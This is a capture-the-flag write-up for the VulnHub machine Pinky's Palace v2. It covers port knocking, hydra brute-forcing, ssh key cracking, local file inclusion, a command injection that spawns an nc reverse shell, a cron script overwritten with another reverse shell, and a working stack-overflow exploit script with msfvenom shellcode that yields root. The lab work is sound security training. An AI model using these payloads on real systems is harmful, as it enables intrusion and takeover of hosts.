Details
This machine is https://www.vulnhub.com/entry/pinkys-palace-v2,229/, my writeup of V1 can be found at https://blog.barradell-johns.com/index.php/2018/07/10/pinkys-palace-v1-writeup/
Note: I had to use VMWare instead of virtual box for this machine
Recon Phase
To start, I used nmap to locate the machine on the network
root@kali:~# nmap -sn 192.168.149.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 20:47 EDT
Nmap scan report for 192.168.149.1
Host is up (0.00042s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.149.128
Host is up (0.00098s latency).
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Nmap scan report for 192.168.149.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:F4:CB:0D (VMware)
Nmap scan report for 192.168.149.129
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.17 seconds
From this I knew my target was 192.168.149.128 and I began to look for services on it
root@kali:~# nmap -sV 192.168.149.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 20:49 EDT
Nmap scan report for 192.168.149.128
Host is up (0.00025s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
31337/tcp filtered Elite
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.60 seconds
Feeling there could be more, I carried out a more in depth scan
root@kali:~# nmap -sV -p- 192.168.149.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 20:50 EDT
Nmap scan report for 192.168.149.128
Host is up (0.00032s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
4655/tcp filtered unknown
7654/tcp filtered unknown
31337/tcp filtered Elite
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.30 seconds
Getting to a shell
I started by adding it to the hosts file per the instructions
root@kali:~# echo 192.168.149.128 pinkydb | sudo tee -a /etc/hosts
Then I took a look over at the webserver
Noting it was wordpress I fired up wpscan
root@kali:~# wpscan -u 192.168.149.128
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] URL: http://192.168.149.128/
[+] Started: Sat Aug 4 20:51:08 2018
[!] The WordPress 'http://192.168.149.128/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://pinkydb/index.php?rest_route=/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.25 (Debian)
[+] XML-RPC Interface available under: http://192.168.149.128/xmlrpc.php
[!] Includes directory has directory listing enabled: http://192.168.149.128/wp-includes/
[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from links opml, meta generator
[!] 5 vulnerabilities identified from the version number
[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
Reference: https://wpvulndb.com/vulnerabilities/9021
Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
Reference: https://github.com/quitten/doser.py
Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[!] Title: WordPress 3.7-4.9.4 - Remove localhost Default
Reference: https://wpvulndb.com/vulnerabilities/9053
Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101
[i] Fixed in: 4.9.5
[!] Title: WordPress 3.7-4.9.4 - Use Safe Redirect for Login
Reference: https://wpvulndb.com/vulnerabilities/9054
Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100
[i] Fixed in: 4.9.5
[!] Title: WordPress 3.7-4.9.4 - Escape Version in Generator Tag
Reference: https://wpvulndb.com/vulnerabilities/9055
Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102
[i] Fixed in: 4.9.5
[!] Title: WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion
Reference: https://wpvulndb.com/vulnerabilities/9100
Reference: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Reference: http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
Reference: https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
Reference: https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
Reference: https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
[i] Fixed in: 4.9.7
[+] WordPress theme in use: twentyseventeen - v1.4
[+] Name: twentyseventeen - v1.4
| Last updated: 2018-08-02T00:00:00.000Z
| Location: http://192.168.149.128/wp-content/themes/twentyseventeen/
| Readme: http://192.168.149.128/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 1.7
| Style URL: http://192.168.149.128/wp-content/themes/twentyseventeen/style.css
| Referenced style.css: http://pinkydb/wp-content/themes/twentyseventeen/style.css
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection ...
[+] No plugins found
[+] Finished: Sat Aug 4 20:51:14 2018
[+] Requests Done: 374
[+] Memory used: 18.348 MB
[+] Elapsed time: 00:00:05
This turned up nothing but I was able to find a username of "pinky1337" from a post
From here I setup dirbuster
The secret file caught my attention, so I went to http://192.168.149.128/secret/bambam.txt to check it out
These numbers looked like ports, and having seen some filtered ports it felt like they could be for port knocking, so I used my port knocking tool available here to try it
root@kali:~# python3 knocker.py -h 192.168.149.128 -p 8890:7000:666
[+] Beginning knocking against 192.168.149.128
[+] Knocking on port 8890 with method: tcp
[+] Knocking on port 7000 with method: tcp
[+] Knocking on port 666 with method: tcp
[+] Knocking complete
I then checked if anything changed with nmap
nmap -sV -p- 192.168.149.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 21:33 EDT
Nmap scan report for pinkydb (192.168.149.128)
Host is up (0.00032s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
4655/tcp filtered unknown
7654/tcp filtered unknown
31337/tcp filtered Elite
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
I then began re-ordering the ports and trying again, until I eventually hit 7000:666:8890
root@kali:~# python3 knocker.py -h 192.168.149.128 -p 7000:666:8890
[+] Beginning knocking against 192.168.149.128
[+] Knocking on port 7000 with method: tcp
[+] Knocking on port 666 with method: tcp
[+] Knocking on port 8890 with method: tcp
[+] Knocking complete
Then on nmap
root@kali:~# nmap -sV -p- 192.168.149.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 21:40 EDT
Nmap scan report for pinkydb (192.168.149.128)
Host is up (0.00097s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
4655/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
7654/tcp open http nginx 1.10.3
31337/tcp open Elite?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.70%I=7%D=8/4%Time=5B6655B5%P=x86_64-pc-linux-gnu%r(NU
SF:LL,59,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20is
SF:\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palace\.\
SF:n=>\x20\0")%r(GetRequest,6B,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x
SF:20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\x
SF:20Pinky's\x20Palace\.\n=>\x20\0GET\x20/\x20HTTP/1\.0\r\n\r\n");
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.60 seconds
This time it had worked and the ports had opened, I noticed the port on 31337 mentioned a backdoor, so I connected to see
root@kali:~# nc 192.168.149.128 31337
[+] Welcome to The Daemon [+]
This is soon to be our backdoor
into Pinky's Palace.
=>
This seemed to be a shell, but every command just got returned and the connection closed. I then decided to checkout the other webserver on http://192.168.149.128:7654/
Just to make sure, I tried http://pinkydb:7654 encase it was set to require the correct hostname
Then I clicked the login button
Having run out of leads, I decided to attempt to brute force entry to this new login form, I started by making a list of potential usernames which I saved as users.txt
admin
pinky
pinky1337
Next I setup hydra
hydra -L users.txt -P /usr/share/wordlists/fasttrack.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-05 11:06:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 666 login tries (l:3/p:222), ~42 tries per task
[DATA] attacking http-post-form://pinkydb:7654//login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-05 11:06:30
As this failed I needed another wordlist, before trying rockyou.txt (due to it's size) I used cewl to generate a wordlist based on the only other site I had, the wordpress site
root@kali:~# cewl pinkydb > customlist.txt
root@kali:~# wc -l customlist.txt
168 customlist.txt
Once I had the list I fired up hydra again
root@kali:~# hydra -L users.txt -P ./customlist.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-05 11:08:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 504 login tries (l:3/p:168), ~32 tries per task
[DATA] attacking http-post-form://pinkydb:7654//login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!
[7654][http-post-form] host: pinkydb login: pinky password: Passione
[7654][http-post-form] host: pinkydb login: pinky1337 password: WordPress
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-05 11:08:33
From here I logged in as pinky
I downloaded and saved the key as id_rsa, Then opened the notes
I tried the key on ssh
root@kali:~# ssh stefano@192.168.149.128 -p 4655 -i ./id_rsa
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
This was an easy fix
root@kali:~# chmod 600 ./id_rsa
Then I used it again
root@kali:~# ssh stefano@192.168.149.128 -p 4655 -i ./id_rsa
Enter passphrase for key './id_rsa':
#
As it was passworded, I used ssh2john and john to crack it
root@kali:~# ssh2john ./id_rsa > crack.txt
root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
secretz101 (id_rsa)
1g 0:00:00:01 DONE (2018-08-05 11:21) 0.7462g/s 974454p/s 974454c/s 974454C/s secretz101
Use the "--show" option to display all of the cracked passwords reliably
Session completed
With the key cracked I logged in with it
root@kali:~# ssh stefano@192.168.149.128 -p 4655 -i ./id_rsa
Enter passphrase for key './id_rsa':
Then used the key of secretz101
stefano@Pinkys-Palace:~$
And with that I had a shell
Priv Esc
With a shell my first idea was to dig around
stefano@Pinkys-Palace:~$ ls -la
drwxr-xr-x 4 stefano stefano 4096 Mar 17 21:27 .
drwxr-xr-x 5 root root 4096 Mar 17 15:20 ..
-rw------- 1 stefano stefano 273 Mar 17 21:27 .bash_history
-rw-r--r-- 1 stefano stefano 220 May 15 2017 .bash_logout
-rw-r--r-- 1 stefano stefano 3526 May 15 2017 .bashrc
-rw-r--r-- 1 stefano stefano 675 May 15 2017 .profile
drwx------ 2 stefano stefano 4096 Mar 17 04:01 .ssh
drwxr-xr-x 2 stefano stefano 4096 Mar 17 04:01 tools
stefano@Pinkys-Palace:~$ cd tools
stefano@Pinkys-Palace:~/tools$ ls -la
drwxr-xr-x 2 stefano stefano 4096 Mar 17 04:01 .
drwxr-xr-x 4 stefano stefano 4096 Mar 17 21:27 ..
-rw-r--r-- 1 stefano stefano 65 Mar 16 04:28 note.txt
-rwsr----x 1 pinky www-data 13384 Mar 16 04:40 qsub
Here I find a file I can execute, with the setuid bit enabled as pinky, and a note
stefano@Pinkys-Palace:~/tools$ cat note.txt
Pinky made me this program so I can easily send messages to him.
Next I messed around with the program a bit to see what it did
stefano@Pinkys-Palace:~/tools$ ./qsub
./qsub <Message>
stefano@Pinkys-Palace:~/tools$ ./qsub hi
[+] Input Password:
I put "a"
[!] Incorrect Password!
I decided to test if I could make it seg fault
stefano@Pinkys-Palace:~/tools$ ./qsub $(python -c "print 'A'*100")
[+] Input Password:
I put a lot of the character "A"
Bad hacker! Go away!
It seemed to detect buffer overflow attempts. So I wanted to inspect it with gdb
stefano@Pinkys-Palace:~/tools$ gdb ./qsub
-bash: gdb: command not found
As gdb was not available I wanted to exfil the program to inspect it, but I did not have read access. But I noticed the www-data group did, so I began digging through the websites looking for any local file inclusion vulns and eventually ended up back on the page I got the rsa key from http://pinkydb:7654/pageegap.php?1337=filesselif1001.php
This seemed to be reading from a file, to test if it was LFI I went to http://pinkydb:7654/pageegap.php?1337=/etc/passwd
With confirmed LFI, I included the file http://pinkydb:7654/pageegap.php?1337=/home/stefano/tools/qsub
Within this file I instantly noticed that within the readable strings was "TERM" this looked like an environment variable, it made no sense for the program to reference the environment variable. This caused me to consider it could be the password so I tried it
stefano@Pinkys-Palace:~/tools$ echo $TERM
xterm-256color
./qsub hi
[+] Input Password:
I put "xterm-256color"
[+] Welcome to Question Submit!
This was a different message to before, from that I guessed it was the right password. Now also in the strings I could see
/bin/echo %s >> /home/pinky/messages/stefano_msg.txt
I assumed the %s was a format string where my message gets included. But the use of a shell command to write to the file left this open to potential command injection unless it was escaped. I started by opening a listener to receive the reverse shell if I was successful
root@kali:~# nc -nlvp 4444
I then injected a command, I wrapped it in single quotes to prevent it being executed when I typed it, assuming these would be stripped by the program, triggering the command to be run
stefano@Pinkys-Palace:~/tools$ ./qsub '$(nc -e /bin/bash 192.168.149.129 4444)'
[+] Input Password:
Using the same password as before, the program hung, so I checked my listener
connect to [192.168.149.129] from (UNKNOWN) [192.168.149.128] 47140
$
This gave a reverse shell
$ whoami
pinky
Using the normal python trick I upgraded my shell
$ python -c "import pty;pty.spawn('/bin/bash')"
pinky@Pinkys-Palace:~/tools$
With my new shell I began to look around for anything new
pinky@Pinkys-Palace:~/tools$ cd /home/pinky
pinky@Pinkys-Palace:/home/pinky$ ls -la
drwxr-x--- 3 pinky pinky 4096 Mar 17 21:27 .
drwxr-xr-x 5 root root 4096 Mar 17 15:20 ..
-rw------- 1 pinky pinky 66 Mar 17 21:27 .bash_history
-rw-r--r-- 1 pinky pinky 220 Mar 17 04:27 .bash_logout
-rw-r--r-- 1 pinky pinky 3526 Mar 17 04:27 .bashrc
drwxr-xr-x 2 pinky pinky 4096 Mar 17 04:01 messages
-rw-r--r-- 1 pinky pinky 675 Mar 17 04:27 .profile
pinky@Pinkys-Palace:/home$ find / -user pinky
[NOTHING USEFUL]
pinky@Pinkys-Palace:/home$ find / -group pinky
[SNIP]
/usr/local/bin/backup.sh
[SNIP]
The backup script looked interesting so I went to take a look
pinky@Pinkys-Palace:/home$ cd /usr/local/bin
pinky@Pinkys-Palace:/usr/local/bin$ ls -la
drwxrwsr-x 2 root staff 4096 Mar 17 16:31 .
drwxrwsr-x 10 root staff 4096 Mar 17 04:24 ..
-rwxrwx--- 1 demon pinky 113 Mar 17 21:24 backup.sh
Noticing it was in the pinky group I tried to read it
pinky@Pinkys-Palace:/usr/local/bin$ cat backup.sh
cat: backup.sh: Permission denied
This confused me a little so I checked my groups
pinky@Pinkys-Palace:/usr/local/bin$ id
uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),1002(stefano)
I realised this shell upgrade to pinky using a setuid bit so the groups weren't updated, although it was an easy fix
pinky@Pinkys-Palace:/usr/local/bin$ newgrp
pinky@Pinkys-Palace:/usr/local/bin$ id
uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),1002(stefano)
Now in the pinky group I could see the script
pinky@Pinkys-Palace:/usr/local/bin$ cat backup.sh
#!/bin/bash
rm /home/demon/backups/backup.tar.gz
tar cvzf /home/demon/backups/backup.tar.gz /var/www/html
#
#
#
As I had write access, and it was a backup script, I assumed it would be executed automatically, so I overwrote it with another reverse shell. The file is owned by demon, so I assumed it would also be executed by them
pinky@Pinkys-Palace:/usr/local/bin$ echo "nc -e /bin/bash 192.168.149.129 2222" > backup.sh
Now I needed a listener to receive the shell
root@kali:~# nc -nlvp 2222
After a bit of waiting
connect to [192.168.149.129] from (UNKNOWN) [192.168.149.128] 43656
$
It connected back with a reverse shell
$ whoami
demon
$ python -c "import pty;pty.spawn('/bin/bash')"
demon@Pinkys-Palace:~$
With another new user I began to look around
demon@Pinkys-Palace:~$ ls -la
drwxr-x--- 3 demon demon 4096 Mar 17 20:02 .
drwxr-xr-x 5 root root 4096 Mar 17 15:20 ..
drwxr-xr-x 2 demon demon 4096 Aug 5 09:25 backups
lrwxrwxrwx 1 root root 9 Mar 17 20:02 .bash_history -> /dev/null
-rw-r--r-- 1 demon demon 220 May 15 2017 .bash_logout
-rw-r--r-- 1 demon demon 3526 May 15 2017 .bashrc
lrwxrwxrwx 1 root root 9 Mar 17 20:02 .mysql_history -> /dev/null
-rw-r--r-- 1 demon demon 675 May 15 2017 .profile
demon@Pinkys-Palace:~$ find / -user demon
[SNIP]
/daemon
/daemon/panel
[SNIP]
This was new to me, so I went to look at it
demon@Pinkys-Palace:~$ cd /daemon
demon@Pinkys-Palace:/daemon$ ls -la
drwxr-x--- 2 demon demon 4096 Mar 17 19:48 .
drwxr-xr-x 25 root root 4096 Mar 17 19:31 ..
-rwxr-x--- 1 demon demon 13280 Mar 17 19:48 panel
demon@Pinkys-Palace:/daemon$ file panel
panel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2d568c8bce502884642e6a62b93033441b616e46, not stripped
I also found it was running as root
demon@Pinkys-Palace:/daemon$ ps -aux | grep panel
root 467 0.0 0.0 4040 648 ? Ss 18:40 0:00 /daemon/panel
I decided to try runnign it
demon@Pinkys-Palace:/daemon$ ./panel
[-] binding to socket
[SNIP]
The reference to a socket, gave me a hint it was the incomplete shell running on port 31337, with no debugging tools installed on the target I needed to exfil it, for this I used netcat
root@kali:~# nc -nlvp 1111 > panel
demon@Pinkys-Palace:/daemon$ nc 192.168.149.129 1111 < panel
Then on the listening terminal
connect to [192.168.149.129] from (UNKNOWN) [192.168.149.128] 60170
Once it finished, I chmoded it
root@kali:~# chmod +x panel
I then ran it, which bound it to port 31337, this was enough to confirm it was the fake shell on port 31337 of the target, I began to inspect it
gdb ./panel
(gdb)
I assumed as it was a program using networking it would be threaded or use forks to allow multiple connections so I set gdb to follow forks and keep them bound
(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off
From here I beganto look into the program
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000400718 _init
0x0000000000400740 recv@plt
0x0000000000400750 strcpy@plt
0x0000000000400760 setsockopt@plt
0x0000000000400770 strlen@plt
0x0000000000400780 htons@plt
0x0000000000400790 send@plt
0x00000000004007a0 printf@plt
0x00000000004007b0 memset@plt
0x00000000004007c0 close@plt
0x00000000004007d0 listen@plt
0x00000000004007e0 bind@plt
0x00000000004007f0 accept@plt
0x0000000000400800 exit@plt
0x0000000000400810 wait@plt
0x0000000000400820 fork@plt
0x0000000000400830 socket@plt
0x0000000000400840 _start
0x0000000000400870 deregister_tm_clones
0x00000000004008b0 register_tm_clones
0x00000000004008f0 __do_global_dtors_aux
0x0000000000400910 frame_dummy
0x0000000000400936 fatal
0x0000000000400964 handlecmd
0x00000000004009ab main
0x0000000000400b90 __libc_csu_init
0x0000000000400c00 __libc_csu_fini
0x0000000000400c04 _fini
As it was a shell, I assumed any input would be put into the handlecmd function, so I took a look at that
(gdb) disas handlecmd
Dump of assembler code for function handlecmd:
0x0000000000400964 <+0>: push rbp
0x0000000000400965 <+1>: mov rbp,rsp
0x0000000000400968 <+4>: add rsp,0xffffffffffffff80
0x000000000040096c <+8>: mov QWORD PTR [rbp-0x78],rdi
0x0000000000400970 <+12>: mov DWORD PTR [rbp-0x7c],esi
0x0000000000400973 <+15>: mov rdx,QWORD PTR [rbp-0x78]
0x0000000000400977 <+19>: lea rax,[rbp-0x70]
0x000000000040097b <+23>: mov rsi,rdx
0x000000000040097e <+26>: mov rdi,rax
0x0000000000400981 <+29>: call 0x400750 <strcpy@plt>
0x0000000000400986 <+34>: lea rax,[rbp-0x70]
0x000000000040098a <+38>: mov rdi,rax
0x000000000040098d <+41>: call 0x400770 <strlen@plt>
0x0000000000400992 <+46>: mov rdx,rax
0x0000000000400995 <+49>: lea rsi,[rbp-0x70]
0x0000000000400999 <+53>: mov eax,DWORD PTR [rbp-0x7c]
0x000000000040099c <+56>: mov ecx,0x0
0x00000000004009a1 <+61>: mov edi,eax
0x00000000004009a3 <+63>: call 0x400790 <send@plt>
0x00000000004009a8 <+68>: nop
0x00000000004009a9 <+69>: leave
0x00000000004009aa <+70>: ret
The use of strcpy instead of strncpy was a good sign as it may mean I could overflow a buffer to get control of the program. To test this theory I decided to try and cause a seg fault
(gdb) run
Starting program: /root/Documents/pinkyv2/panel
[New process 2853]
Then in another terminal
root@kali:~# echo $(python -c "print 'A'*500") | nc localhost 31337
Back in the gdb
Thread 2.1 "panel" received signal SIGSEGV, Segmentation fault.
[Switching to process 2030]
0x00000000004009aa in handlecmd ()
The segfault was a good sign, I tried it again
(gdb) run
[New process 2035]
echo $(python -c "print 'A'*100") | nc localhost 31337
[Inferior 3 (process 2035) exited normally]
It didn't crash on 100, with a bit of trial and error I found the crash occurred at 113 bytes, and from there I found it took a total of 124 byte to overwrite the RIP register for the return address. From here I wanted to inspect what memory looked like after the overflow, so I put in a break point after the strcpy
(gdb) break *0x0000000000400986
Then ran the program and overflowed it with A's where shellcode could go and B's where the return addr could go
(gdb) run
root@kali:~# echo $(python -c "print 'A'*120+'B'*4") | nc localhost 31337
I then inspected the registers and stack
(gdb) info registers
rax 0x7d 125
rbx 0x0 0
rcx 0x7ffff7b1607d 140737348984957
rdx 0x7d 125
rsi 0x7fffffffd0c0 140737488343232
rdi 0x4 4
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffd140 0x7fffffffd140
r8 0x0 0
r9 0x0 0
r10 0x0 0
r11 0x246 582
r12 0x400840 4196416
r13 0x7fffffffe270 140737488347760
r14 0x0 0
r15 0x0 0
rip 0xa42424242 0xa42424242
eflags 0x10207 [ CF PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/100x $rsp
0x7fffffffd140: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd148: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd150: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd158: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd160: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd168: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd170: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd178: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd180: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd188: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd190: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd198: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd1a0: 0x41 0x41 0x41 0x41
So I spent a long time on this bit, and ended up installing an extension to gdb called peda which can be found at https://github.com/longld/peda. As I could only find a way of overwriting up to 6 bytes of the return address before it stopped working, but needed 8 bytes to address my shellcode. I eventually found the RSP register pointed to where the shellcode would start so I instead used peda to locate a call to RSP
gdb-peda$ jmpcall
0x400728 : call rax
0x400895 : jmp rax
0x4008e3 : jmp rax
0x40092e : call rax
0x400cfb : call rsp
0x400d6b : call [rax]
As this was only 3 bytes I could address it with the return address in my overflow as
\xfb\x0c\40\00
Padded with a null byte, the problem here was due to the null byte I could no longer use a shell to send the exploit, so I started using a python script. I needed an x64 reverse shell shell-code, I tried a few but had some issues, eventually turning to msfvenom to create the exploit
root@kali:~# msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.149.129 LPORT=4444 -b 00 -f python
Which was a 119 byte shellcode, as I had 120 bytes to fill before the return address I padded it with a nop \x90 and then added the return address, my final exploit looked like
import socket
buf = "\x90"
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xef\x22\xd7\xdc\x36\xd0\xd5"
buf += "\x47\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x85\x0b\x8f\x45\x5c\xd2\x8a\x2d\xee\x7c\xd8\xd9\x7e"
buf += "\x47\x9d\xfe\xed\x22\xc6\x80\xf6\x78\x40\xc6\xbe\x6a"
buf += "\x5e\x3a\x5c\xc0\x8f\x2d\xc5\x7a\xd8\xd9\x5c\xd3\x8b"
buf += "\x0f\x10\xec\xbd\xfd\x6e\xdf\xd0\x32\x19\x48\xec\x84"
buf += "\xaf\x98\x6e\x68\x8d\x4b\xb9\xf3\x45\xb8\xd5\x14\xa7"
buf += "\xab\x30\x8e\x61\x98\x5c\xa1\xe0\x27\xd7\xdc\x36\xd0"
buf += "\xd5\x47"
buf += "\xfb\x0c\x40\x00"
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect(('[TARGET IP]',31337))
soc.send(buf)
soc.close()
Where I replaced [TARGET_IP] with the relevant IP. I first wanted to test this locally, so I opened a listener
root@kali:~# nc -nvlp 4444
Then ran the program followed by the exploit
root@kali:~# python ./exploit.py
connect to [192.168.149.129] from (UNKNOWN) [192.168.149.129] 46674
$
As it worked locally, I updated the IP to be my target and ran it again
root@kali:~# nc -nvlp 4444
root@kali:~# python ./exploit.py
connect to [192.168.149.129] from (UNKNOWN) [192.168.149.128] 45456
#
This time I got a shell back from my target
# whoami
root
And it was a root shell, from here I just had a flag to collect
# cd /root
# ls -la
drwx------ 2 root root 4096 Mar 17 22:51 .
drwxr-xr-x 25 root root 4096 Mar 17 19:31 ..
lrwxrwxrwx 1 root root 9 Mar 17 20:01 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
lrwxrwxrwx 1 root root 9 Mar 17 20:01 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1953 Mar 17 22:51 .viminfo
-rw------- 1 root root 639 Mar 17 22:51 root.txt
# cat root.txt
| _ \(_)_ __ | | ___ _( )___
| |_) | | '_ \| |/ / | | |// __|
| __/| | | | | <| |_| | \__ \
|_| |_|_| |_|_|\_\\__, | |___/
|___/
____ _
| _ \ __ _| | __ _ ___ ___
| |_) / _` | |/ _` |/ __/ _ \
| __/ (_| | | (_| | (_| __/
|_| \__,_|_|\__,_|\___\___|
[+] CONGRATS YOUVE PWND PINKYS PALACE!!!!!!
[+] Flag: [REDACTED]
[+] Twitter: @Pink_P4nther
[+] Cheers to VulnHub!
[+] VM Host: VMware
[+] Type: CTF || [Realistic]
[+] Hopefully you enjoyed this and gained something from it as well!!!
And the machine was done, I really enjoyed this one and learnt a lot about binary exploitation. I also found out about the gdb-peda plugin which was a bonus!